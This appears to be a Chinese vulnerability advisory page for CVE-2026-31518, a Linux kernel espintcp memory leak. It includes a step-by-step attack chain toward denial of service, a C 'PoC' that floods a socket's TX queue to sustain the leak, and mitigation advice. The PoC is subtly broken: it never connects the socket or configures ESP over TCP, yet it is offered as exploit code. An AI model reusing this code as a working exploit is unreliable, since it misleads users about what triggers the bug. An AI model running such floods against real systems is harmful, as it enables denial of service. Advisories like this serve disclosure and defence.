IPBUF安全漏洞报告
English
CVE-2026-31518 CVSS 5.5 中危

CVE-2026-31518 Linux Kernel espintcp内存泄露漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31518
漏洞类型
内存泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存泄露DoSCVE-2026-31518espintcp本地漏洞

漏洞概述

Linux内核的espintcp模块在处理异步加密时存在资源管理错误漏洞。当TX队列已满且发生错误时,系统未能正确释放skb(套接字缓冲区)数据包。本地低权限攻击者可利用此漏洞持续消耗内核内存,最终导致系统内存耗尽及拒绝服务。

技术细节

该漏洞位于Linux内核网络协议栈的ESP(封装安全载荷)处理部分,具体涉及espintcp(ESP over TCP)与异步加密的交互机制。在同步加密模式下,当esp_output_tail_tcp因TX队列满返回错误时,xfrm输出代码负责释放skb。然而,在异步加密模式(回调函数esp_output_done)下,代码路径遗漏了释放skb的逻辑。这导致每次触发该错误条件时,一个skb对象都会泄露。本地攻击者可通过发送特制流量填满TX队列来触发此路径,长期利用可造成内核内存耗尽,破坏系统可用性。

攻击链分析

STEP 1
获取本地访问权限
攻击者需要在目标系统上拥有本地低权限账户。
STEP 2
配置或触发ESP over TCP
系统需配置了ESP over TCP (espintcp)并启用了异步加密,攻击者触发相关网络流量。
STEP 3
填满TX队列
攻击者发送大量数据包,导致espintcp的TX队列被填满。
STEP 4
触发漏洞路径
当TX队列满时,esp_output_tail_tcp返回错误,异步回调esp_output_done未释放skb,导致内存泄露。
STEP 5
耗尽系统资源
持续触发泄露导致内核内存逐渐耗尽,最终造成系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31518: Linux Kernel espintcp skb leak * This code attempts to trigger the memory leak by sending data * to fill the TX queue on a system using ESP over TCP. * Requires a configured environment with async crypto support. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/in.h> int main() { int sock; char buffer[4096]; int ret; // Setup: In a real scenario, this requires establishing // an ESP over TCP (espintcp) connection and configuring // XFRM policies to use async crypto offload. sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); return 1; } memset(buffer, 'A', sizeof(buffer)); printf("[+] Starting to flood TX queue to trigger skb leak...\n"); while (1) { // Continuously send data to fill the TX queue. // When the queue is full, esp_output_tail_tcp returns an error. // In the vulnerable async path, the skb is not freed. ret = send(sock, buffer, sizeof(buffer), 0); if (ret < 0) { // Expected when queue is full, memory leak occurs here perror("send (queue full expected)"); sleep(1); // Brief pause before retrying to sustain the leak } } close(sock); return 0; }

影响范围

Linux Kernel(修复补丁应用前的版本)

防御指南

临时缓解措施
如果无法立即升级内核,建议暂时禁用ESP over TCP (espintcp)功能或确保不使用异步加密加速,以规避该漏洞触发路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表